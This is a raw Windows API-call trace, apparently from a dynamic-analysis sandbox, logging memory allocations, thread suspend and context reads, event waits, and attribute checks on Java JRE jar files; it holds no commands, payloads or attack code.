	[0246.346] VirtualAlloc (lpAddress=0xc000bf4000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000bf4000
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x3cd000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x1e6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0xf3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x79000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x3c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.347] VirtualAlloc (lpAddress=0xc000bfb000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000bfb000
	[0246.348] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x3ca000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.348] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x1e5000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.348] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0xf2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.348] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x79000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.348] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x3c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.348] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bfe000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000bfe000
	[0246.349] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x3c9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x1e4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0xf2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x79000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.349] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x3c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.350] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.350] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0xf000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.350] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.350] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0246.350] VirtualAlloc (lpAddress=0xc000bff000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000bff000
	[0246.350] VirtualAlloc (lpAddress=0xc000c00000, dwSize=0x3c8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000c00000
	[0246.382] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70703ff518, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70703ff518*=0x19c) returned 1
	[0246.382] SwitchToThread () returned 1
	[0246.447] SuspendThread (hThread=0x19c) returned 0x0
	[0246.447] GetThreadContext (in: hThread=0x19c, lpContext=0x70703ff530 | out: lpContext=0x70703ff530*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff8b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5424, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0246.452] ResumeThread (hThread=0x19c) returned 0x1
	[0246.452] CloseHandle (hObject=0x19c) returned 1
	[0246.452] SetEvent (hEvent=0x124) returned 1
	[0246.453] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9e0*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0246.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9e0*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0246.475] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70703ff248, ulCount=0x10, ulNumEntriesRemoved=0x70703ff220, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70703ff248, ulNumEntriesRemoved=0x70703ff220) returned 0
	[0246.475] SetEvent (hEvent=0x124) returned 1
	[0246.475] SetEvent (hEvent=0x190) returned 1
	[0246.475] VirtualAlloc (lpAddress=0xc0000b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b8000
	[0246.478] VirtualAlloc (lpAddress=0xc0000f4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f4000
	[0246.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9b8*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0246.518] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0246.519] SetEvent (hEvent=0x1a0) returned 1
	[0246.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9b8*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0246.946] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0246.946] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70703ff518, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70703ff518*=0x198) returned 1
	[0246.946] SuspendThread (hThread=0x198) returned 0x0
	[0246.946] GetThreadContext (in: hThread=0x198, lpContext=0x70703ff530 | out: lpContext=0x70703ff530*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ffb38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0247.037] ResumeThread (hThread=0x198) returned 0x1
	[0247.037] CloseHandle (hObject=0x198) returned 1
	[0247.038] SetEvent (hEvent=0xd4) returned 1
	[0247.038] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9e0*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0247.090] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70703ff518, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70703ff518*=0x198) returned 1
	[0247.090] SuspendThread (hThread=0x198) returned 0x0
	[0247.090] GetThreadContext (in: hThread=0x198, lpContext=0x70703ff530 | out: lpContext=0x70703ff530*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ffb38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0247.113] ResumeThread (hThread=0x198) returned 0x1
	[0247.113] CloseHandle (hObject=0x198) returned 1
	[0247.113] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9e0*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0247.138] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.139] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70703ff250, ulCount=0x10, ulNumEntriesRemoved=0x70703ff228, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70703ff250, ulNumEntriesRemoved=0x70703ff228) returned 0
	[0247.139] SetEvent (hEvent=0x124) returned 1
	[0247.139] SetEvent (hEvent=0x1a0) returned 1
	[0247.139] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70703ff9c8*=0xe4, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0247.242] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.242] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.265] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.268] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0247.339] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0248.498] SetEvent (hEvent=0xf0) returned 1
	[0248.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b8 | out: lpFileInformation=0xc0000c96b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4)) returned 1
	[0249.961] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0249.961] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0249.961] SetEvent (hEvent=0x188) returned 1
	[0249.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b8 | out: lpFileInformation=0xc0000c96b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99)) returned 1
	[0249.961] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0249.961] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
	[0249.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b8 | out: lpFileInformation=0xc0000c96b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d)) returned 1
	[0249.963] WriteFile (in: hFile=0x0, lpBuffer=0xc000086060, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c966c, lpOverlapped=0x0) returned 0
